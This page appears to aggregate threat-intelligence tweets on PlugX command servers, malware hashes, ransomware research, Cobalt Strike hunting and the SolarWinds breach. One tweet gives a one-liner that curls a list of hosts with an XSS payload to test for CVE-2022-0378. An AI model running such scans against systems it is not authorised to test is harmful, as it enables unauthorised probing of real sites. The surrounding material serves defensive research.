oR10n

Threat Intelligence and Research

[Matthew @embee_research]

Setting up an analysis VM for reverse engineering?

Here are a few good tools (with short demos) that I recommend after running the Mandiant/FLARE script, (which installs 99% of tooling for you) 🔥

TLDR:
Garbageman, SpeakEasy, BlobRunner, Dumpulator

#Malware #RE #Analysis

[R. @0xrb]

Recent Chinese Threat Actor #PlugX APT #Malware Spread from ISP: UCLOUD Hong Kong (AS 135377)
C2 IP/Domain : 45.249.245.35:8008 (TCP)/ ntpserver(.)xyz/
Currently 𝗔𝗰𝘁𝗶𝘃e
Malware Hash:
eeadacdfb1d0c571362ff86b34cd736a80531e635ad46f20b2e90ec862af36af

[Dr. Rohit Gautam @aslicyberguy]

CVE-2022-0378 POC 🔥👇

✅ One Liner :
cat file.txt | while read h do;do curl -sk --insecure "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && \echo "$h \033[0;31mVul\n" || echo "$h \033[0;32mNot\n";done

[Mandiant (part of Google Cloud) @Mandiant]

Check out our latest blog post to learn about the activity & similarities between multiple #ransomware families related to AVADDON ransomware.

👉 https://t.co/DLbeQ3cveW

[Virus Bulletin @virusbtn]

Mandiant researchers explore activity, similarities and overlaps between multiple ransomware families related to the AVADDON ransomware. https://t.co/o9V6OZl9Oo

[Marco Ramilli @Marco_Ramilli]

When threat actors evolve, their tools do.
Following the #JsOutProx threat evolution (TH-264) into a complex #JavaScript based #RAT used to attack financial institutions.

https://t.co/702LT2p5x7

@luc4m @luigi_martire94 @James_inthe_box @malwaremustd1e @_odisseus

[Thomas Roccia 🤘 @fr0gger_]

It appears that a file used in the LockFile attack has similarities to a previous sample attributed to APT10.
It's an interesting find, so I took a quick look at it. #APT #lockfile #Ransomware Thread👇

[Ramin Nafisi @MalwareRE]

Today we are releasing a new blog and technical information regarding TTPs & new malware families observed during previously disclosed #NOBELIUM phishing campaigns we have observed/tracked since as early as Jan 2021.

https://t.co/Cd7DEdGIwl

Thread on the new families & TTPs ⬇️

[McAfee Labs @McAfee_Labs]

Latest #cyberthreat discovered by our #threatresearch team: Operation Diànxùn

Goal: Target #telecommunication companies using #malware to steal covert info related to #5G technology

More from our findings via @TechRepublic: https://t.co/TaXhWhVdP3

[Kyle Cucci @d4rksystem]

#CobaltStrike hunting tip of the week:

EDR and AV got you down? Another way to detect/hunt for CS in your environment is through the deployment of Yara rules.

This list has some good stuff, including Yara rules from @tenacioustek and @cyb3rops.

https://t.co/pqNcTDC3qY

[avallach (@[email protected]) @xorhex]

#RedDelta version of #PlugX; this time encrypted with a 13 byte XOR key.

43.254.217.165:110
43.254.217.165:80

Embedded Marker: ja-user-pc

ThreatConnect: https://t.co/f9OxYHadtn
VT (encrypted): https://t.co/XxDHPczUbm
5d2856d38f182cba36a045935ed11a17

#MustangPanda

[BleepingComputer @BleepinComputer]

Netwalker ransomware dark web sites seized by law enforcement - @LawrenceAbrams
https://t.co/RunRlyOCkA

[Europol @Europol]

Bye-bye botnets👋 Huge global operation brings down the world's most dangerous malware.

Investigators have taken control of the Emotet botnet, the most resilient malware in the wild.

Get the full story: https://t.co/NMrBqmhMIf

[ᴘᴀʀᴛʜɪ @cyber__sloth]

#APT #mustangpanda/#honeymyte Cobaltstrike activity in 2019. The below graph is based on PE compilation time of their cobalt strike payloads in 2019. Using Yara, I was able to find 28 unique CS samples. @James_inthe_box @P3pperP0tts

[avallach (@[email protected]) @xorhex]

#MustangPanda #PlugX

103.56.53.46:110
103.56.53.46:80
103.56.53.46:443
103.56.53.46:5938

ThreatConnect: https://t.co/EN2jitDoUl
VT (encrypted version): https://t.co/fZalpLHD5x
8ec409c1537e3030405bc8f8353d2605d1e88f1b245554383682f3aa8b5100ec

#ThreatIntel

[avallach (@[email protected]) @xorhex]

Another #RedDelta version of #PlugX; this time encrypted with a 15 byte XOR key.

43.254.217.165:110
43.254.217.165:80

Marker (campaign id?): ja-acer

ThreatConnect: https://t.co/rc9Z2osWEP
VT (encrypted): https://t.co/lCbcQj1Owy
798810d4ab0637916e699eeeffb393db

#MustangPanda

[Kyle Hanslovan @KyleHanslovan]

Only 1 / 67 antivirus engines list SUNBURST backdoor as malicious - SolarWinds.Orion.Core.BusinessLayer.dll https://t.co/taaiUtSJzR #SUNBURST #UNC2452

[Nick Carr @ItsReallyNick]

So you want to talk about the massive software supply chain intrusion & the most carefully-planned, complex espionage I’ve ever helped uncover?

Start here: https://t.co/m1nJG5UlVk 🤩

But then what?? Let’s talk about some post-compromise techniques...

[Jake Williams @MalwareJake]

Okay folks, let’s talk about SolarWinds.

For those not familiar with it, SolarWinds is a network management system (NMS). It’s probably the most ubiquitous NMS out there, so we shouldn’t jump to conclusions that FireEye and Treasury were both breached by an SolarWinds vuln. 1/